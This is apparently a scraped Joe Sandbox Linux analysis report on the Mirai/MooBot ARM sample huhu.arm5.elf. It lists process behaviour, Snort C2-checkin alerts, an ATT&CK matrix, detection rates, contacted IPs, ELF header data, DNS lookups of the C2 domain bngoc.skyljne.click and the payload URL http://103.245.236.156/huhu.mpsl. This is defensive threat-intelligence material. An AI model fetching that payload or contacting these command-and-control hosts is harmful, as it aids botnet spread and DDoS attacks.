Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3659/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/261/cmdline	Jump to behavior

Source: huhu.arm5.elf, 5498.1.0000558c57231000.0000558c5735f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: huhu.arm5.elf, 5498.1.0000558c57231000.0000558c5735f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: huhu.arm5.elf, 5498.1.00007ffe165f7000.00007ffe16618000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: huhu.arm5.elf, 5498.1.00007ffe165f7000.00007ffe16618000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/huhu.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/huhu.arm5.elf

Source: Yara match	File source: huhu.arm5.elf, type: SAMPLE
Source: Yara match	File source: 5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: huhu.arm5.elf PID: 5498, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
huhu.arm5.elf	66%	ReversingLabs	Linux.Trojan.Mirai
huhu.arm5.elf	62%	Virustotal		Browse
huhu.arm5.elf	100%	Avira	EXP/ELF.Mirai.Gen.Z.A

Source	Detection	Scanner	Label	Link
http://103.245.236.156/huhu.mpsl;	0%	Avira URL Cloud	safe
http://103.245.236.156/huhu.mpsl;	10%	Virustotal		Browse

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	huhu.arm5.elf	false		high
http://103.245.236.156/huhu.mpsl;	huhu.arm5.elf	false	10%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	huhu.arm5.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
59.140.115.179	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
70.198.124.207	unknown	United States	6167	CELLCO-PARTUS	false
157.94.214.250	unknown	Finland	51164	CYBERCOM-FICybercomFinlandOyFI	false
197.4.30.36	unknown	Tunisia	5438	ATI-TN	false
63.48.170.92	unknown	United States	701	UUNETUS	false
222.202.190.43	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
120.228.108.20	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
41.121.55.95	unknown	South Africa	16637	MTNNS-ASZA	false
72.223.176.219	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
78.3.131.225	unknown	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
46.220.2.187	unknown	Austria	25255	H3G-AUSTRIA-ASTELE2AUSTRIAAT	false
218.3.231.115	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
197.71.86.135	unknown	South Africa	16637	MTNNS-ASZA	false
13.88.58.69	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.228.140.208	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
85.173.158.182	unknown	Russian Federation	25490	STC-ASRU	false
197.179.206.142	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
157.140.175.225	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
157.120.215.152	unknown	Japan	9604	FSI-ASFUJISOFTINCORPORATEDJP	false
75.2.214.5	unknown	United States	7018	ATT-INTERNET4US	false
41.44.156.61	unknown	Egypt	8452	TE-ASTE-ASEG	false
111.152.215.211	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
41.24.86.4	unknown	South Africa	36994	Vodacom-VBZA	false
197.141.53.55	unknown	Algeria	36891	ICOSNET-ASDZ	false
86.91.129.154	unknown	Netherlands	1136	KPNKPNNationalEU	false
41.108.224.139	unknown	Algeria	36947	ALGTEL-ASDZ	false
212.79.253.145	unknown	Germany	203507	AVIRADEKaplaneiweg1DE	false
37.239.90.89	unknown	Iraq	50710	EARTHLINK-ASIQ	false
157.199.114.218	unknown	United States	3356	LEVEL3US	false
24.70.62.42	unknown	Canada	6327	SHAWCA	false
155.254.77.18	unknown	Canada	36493	295CA-TOR-ASNCA	false
171.10.48.161	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
72.61.5.193	unknown	United States	10507	SPCSUS	false
145.155.255.174	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
197.130.137.75	unknown	Morocco	6713	IAM-ASMA	false
41.47.186.193	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.60.86.35	unknown	Mauritius	30969	ZOL-ASGB	false
111.179.38.220	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
77.80.215.132	unknown	Sweden	760	UNIVIEUniversityofViennaAustriaAT	false
171.40.189.86	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
117.162.32.64	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
177.131.54.249	unknown	Brazil	262387	IntermicroLtdaBR	false
157.135.242.105	unknown	United States	600	OARNET-ASUS	false
5.254.231.103	unknown	Russian Federation	12688	BAIKALTRANSTELECOMIrkutskRussiaRU	false
185.30.142.134	unknown	Spain	199581	DATARUSHDataRushITServicesSLES	false
45.58.17.201	unknown	Canada	395167	POTLCA	false
97.39.134.102	unknown	United States	6167	CELLCO-PARTUS	false
75.203.136.31	unknown	United States	22394	CELLCOUS	false
197.253.190.197	unknown	Morocco	36925	ASMediMA	false
23.87.149.62	unknown	United States	395954	LEASEWEB-USA-LAX-11US	false
197.129.211.37	unknown	Morocco	6713	IAM-ASMA	false
150.192.49.166	unknown	United States	1479	DNIC-ASBLK-01478-01479US	false
141.96.215.196	unknown	Belgium	25367	AS-ADTS-LUForIDARroutingLU	false
130.117.87.183	unknown	United States	174	COGENT-174US	false
37.210.98.253	unknown	Qatar	42298	GCC-MPLS-PEERINGGCCMPLSpeeringQA	false
41.190.177.133	unknown	unknown	36974	AFNET-ASCI	false
82.201.225.41	unknown	Egypt	24863	LINKdotNET-ASEG	false
121.136.82.116	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
132.107.117.62	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
46.137.62.150	unknown	Ireland	16509	AMAZON-02US	false
161.64.39.252	unknown	Macau	7582	UMAC-AS-APUniversityofMacauMO	false
41.21.187.217	unknown	South Africa	36994	Vodacom-VBZA	false
197.0.2.83	unknown	Tunisia	37705	TOPNETTN	false
36.228.46.187	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
197.201.220.167	unknown	Algeria	36947	ALGTEL-ASDZ	false
154.74.136.185	unknown	Tanzania United Republic of	37035	MIC-ASTZ	false
106.241.65.214	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
190.207.174.25	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
49.122.152.89	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
41.198.16.217	unknown	South Africa	36877	IWAY_AFRICAZA	false
41.149.186.129	unknown	South Africa	5713	SAIX-NETZA	false
41.198.16.215	unknown	South Africa	36877	IWAY_AFRICAZA	false
121.0.87.52	unknown	Korea Republic of	18328	DOTNAME-AS-KRDotnameKoreaCorpKR	false
39.240.223.221	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
136.7.76.118	unknown	United States	60311	ONEFMCH	false
143.17.213.180	unknown	United States	11003	PANDGUS	false
146.152.201.36	unknown	United States	197938	TRAVIANGAMESDE	false
24.252.98.197	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
41.233.132.27	unknown	Egypt	8452	TE-ASTE-ASEG	false
51.154.92.28	unknown	Switzerland	15796	SALT-CH	false
182.226.145.245	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
4.97.83.144	unknown	United States	3356	LEVEL3US	false
204.20.96.121	unknown	United States	262706	UltranetTelecomunicacoesLtdaBR	false
157.5.74.145	unknown	unknown	7671	MCNETNTTSmartConnectCorporationJP	false
141.131.76.61	unknown	United States	3828	CIRRUS	false
72.163.21.72	unknown	United States	109	CISCOSYSTEMSUS	false
138.99.105.33	unknown	Brazil	52764	DeltaBroadbandTelecomProvedoresdeInternetLtdBR	false
58.12.166.234	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
157.78.157.34	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
197.141.7.83	unknown	Algeria	36891	ICOSNET-ASDZ	false
41.152.76.219	unknown	Egypt	36992	ETISALAT-MISREG	false
104.1.217.254	unknown	United States	7018	ATT-INTERNET4US	false
115.186.123.65	unknown	Pakistan	38710	WORLDCALL-AS-LHRWorldcallBroadbandLimitedPK	false
58.176.2.216	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	false
41.57.122.7	unknown	Nigeria	37472	NIGCOMSATNG	false
186.30.49.158	unknown	Colombia	19429	ETB-ColombiaCO	false
93.95.109.200	unknown	United Kingdom	5413	AS5413GB	false
41.40.226.126	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.96.124.59	unknown	South Africa	3741	ISZA	false
114.199.148.73	unknown	Korea Republic of	7562	HCNSEOCHO-AS-KRHCNDongjakKR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.44.156.61	arm-20230428-2150.elf	Get hash	malicious	Mirai	Browse
41.44.156.61	YYDFQT2y6l.elf	Get hash	malicious	Mirai	Browse
157.94.214.250	XRYC8iouXD.elf	Get hash	malicious	Mirai, Moobot	Browse
197.71.86.135	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse
	vIlkRYFh3s.elf	Get hash	malicious	Mirai	Browse
	5Aa4A98Heg.elf	Get hash	malicious	Mirai	Browse
	notabotnet.arm.elf	Get hash	malicious	Mirai	Browse
	x86_64-20220412-0247	Get hash	malicious	Mirai Moobot	Browse
197.4.30.36	t2pO72ceGk.elf	Get hash	malicious	Mirai, Moobot	Browse
	lok.arm7.elf	Get hash	malicious	Mirai	Browse
	log21.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse
222.202.190.43	IrYa1qwShV.elf	Get hash	malicious	Mirai	Browse
41.121.55.95	cfZDkRHSCG.elf	Get hash	malicious	Mirai	Browse
41.121.55.95	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
197.179.206.142	qz91XNGYhe.elf	Get hash	malicious	Mirai	Browse
157.140.175.225	BGMXCPVhLu.elf	Get hash	malicious	Mirai, Moobot	Browse
41.24.86.4	fgSydmnVTJ.elf	Get hash	malicious	Mirai	Browse
	fvCzM69FBg	Get hash	malicious	Mirai	Browse
	IqIH874acG	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bngoc.skyljne.click	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	huhu.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.172.139
	7lESNpA2F7.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	LUNFk2Hgfu.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	ZSlHX40Um2.elf	Get hash	malicious	Mirai, Okiru	Browse	103.179.188.223
	MnR9Zf2F4a.elf	Get hash	malicious	Mirai	Browse	103.179.188.223
	oLehUXsK2P.elf	Get hash	malicious	Mirai	Browse	103.179.188.223

Process:	/tmp/huhu.arm5.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.7216117239699025
Encrypted:	false
SSDEEP:	3:TgCJtw5:TgCJM
MD5:	A434DB95431A02BADC1DE70DD30005F9
SHA1:	81444640B8D70362157C9066486BB7411AE2FF8A
SHA-256:	A79329377694A9D7DB9715F658135C04221F4E641E62A0DE5254DAEE8542E9AA
SHA-512:	32C3A8B648BB687861DE9A7318C36C35589349C52C2929916354F43A792AFB8368B9362F00B8858B430A98D6376875A614F6C792660D382CBBE9B101B7D98BB0
Malicious:	false
Reputation:	low
Preview:	/tmp/huhu.arm5.elf.

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.5603696381881615
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	huhu.arm5.elf
File size:	142'176 bytes
MD5:	09e6c6c8330f01d354b6b314ef52e93a
SHA1:	cd9f7f27f60c44bde0c9743e75e251ea2c0b6283
SHA256:	01155941a803312856feaae1c8d58f5895f50b305e0544b705978c12435c48fa
SHA512:	af4afddbafe96e05f80359430ac5e783a66435bc69013a2fb202df7ff0d011c74a8c78e243bfaa02860f9fd283558638c45de7ac09642d841f4a7c0442adf8f7
SSDEEP:	3072:tplIgzzkdL063Pj011qPoc38/24iOiHcRXyZxrKnAm0CfpW:tp916wqv4igRXyzWnv0CR
TLSH:	95D32945F8909F23C6C212BBFB5E428D372A17E9D2EE72039D216F25378685B0E37546
File Content Preview:	.ELF...a..........(.........4....)......4. ...(.....................@...@............................I..p...........Q.td..................................-...L."....j..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	141776
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1aa3c	0x0	0x6	AX	16
.fini	PROGBITS	0x22aec	0x1aaec	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x22b00	0x1ab00	0x2e40	0x0	0x2	A	4
.ctors	PROGBITS	0x2e000	0x1e000	0xc	0x0	0x3	WA	4
.dtors	PROGBITS	0x2e00c	0x1e00c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x2e020	0x1e020	0x4970	0x0	0x3	WA	32
.bss	NOBITS	0x32990	0x22990	0x45e0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x22990	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x1d940	0x1d940	6.0982	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1e000	0x2e000	0x2e000	0x4990	0x8f70	0.4384	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report huhu.arm5.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.06tBuj (deleted)

/tmp/qemu-open.0CotBl (deleted)

/tmp/qemu-open.0EzLrj (deleted)

/tmp/qemu-open.0M5qNi (deleted)

/tmp/qemu-open.0Ry0Uk (deleted)

/tmp/qemu-open.0Tu7Bj (deleted)

/tmp/qemu-open.0XvCoh (deleted)

/tmp/qemu-open.0ZgiTk (deleted)

/tmp/qemu-open.0arnhl (deleted)

/tmp/qemu-open.0cdWFl (deleted)

/tmp/qemu-open.0gAvWi (deleted)

/tmp/qemu-open.0iEgdk (deleted)

/tmp/qemu-open.0joG0i (deleted)

/tmp/qemu-open.0nS4Uh (deleted)

/tmp/qemu-open.0pgO4g (deleted)

/tmp/qemu-open.0qqOdj (deleted)

/tmp/qemu-open.0zmivj (deleted)

/tmp/qemu-open.0zpCal (deleted)

/tmp/qemu-open.13wxTj (deleted)

/tmp/qemu-open.14aQvj (deleted)

/tmp/qemu-open.18yTuj (deleted)

/tmp/qemu-open.1A59ui (deleted)

/tmp/qemu-open.1AIXfi (deleted)

/tmp/qemu-open.1CHBAj (deleted)

/tmp/qemu-open.1G0Krj (deleted)

/tmp/qemu-open.1KGGOi (deleted)

/tmp/qemu-open.1MhWPi (deleted)

Linux Analysis Report
huhu.arm5.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 29, 2024 10:20:42.976948977 CET	192.168.2.14	8.8.8.8	0xe938	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:46.780881882 CET	192.168.2.14	8.8.8.8	0x9b45	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:53.570051908 CET	192.168.2.14	8.8.8.8	0xf4c7	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:59.412081957 CET	192.168.2.14	8.8.8.8	0x7572	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:08.239980936 CET	192.168.2.14	8.8.8.8	0x5b21	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:15.021702051 CET	192.168.2.14	8.8.8.8	0xecb8	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:21.799622059 CET	192.168.2.14	8.8.8.8	0xd9b8	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:30.581841946 CET	192.168.2.14	8.8.8.8	0x3224	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:41.371825933 CET	192.168.2.14	8.8.8.8	0x8b5e	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:43.142545938 CET	192.168.2.14	8.8.8.8	0x8c71	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:44.933912039 CET	192.168.2.14	8.8.8.8	0x5d8d	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:50.756891966 CET	192.168.2.14	8.8.8.8	0x3367	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:00.551331043 CET	192.168.2.14	8.8.8.8	0xd624	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:03.360197067 CET	192.168.2.14	8.8.8.8	0x8229	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:11.168848038 CET	192.168.2.14	8.8.8.8	0xb7e	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:21.986968040 CET	192.168.2.14	8.8.8.8	0x3d3d	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:26.781330109 CET	192.168.2.14	8.8.8.8	0x3e11	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:29.573856115 CET	192.168.2.14	8.8.8.8	0xdd3f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:32.365761042 CET	192.168.2.14	8.8.8.8	0xbeb0	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:40.164397001 CET	192.168.2.14	8.8.8.8	0x63df	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:22:45.967590094 CET	192.168.2.14	8.8.8.8	0x43c5	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 29, 2024 10:20:43.070389986 CET	8.8.8.8	192.168.2.14	0xe938	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:46.874768019 CET	8.8.8.8	192.168.2.14	0x9b45	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:53.667010069 CET	8.8.8.8	192.168.2.14	0xf4c7	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:20:59.508080959 CET	8.8.8.8	192.168.2.14	0x7572	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:08.327820063 CET	8.8.8.8	192.168.2.14	0x5b21	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:15.113564968 CET	8.8.8.8	192.168.2.14	0xecb8	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
Feb 29, 2024 10:21:21.887243986 CET	8.8.8.8	192.168.2.14	0xd9b8	No error (0)	bngoc.skyljne.click	103.179.172.139	A (IP address)	IN (0x0001)	false
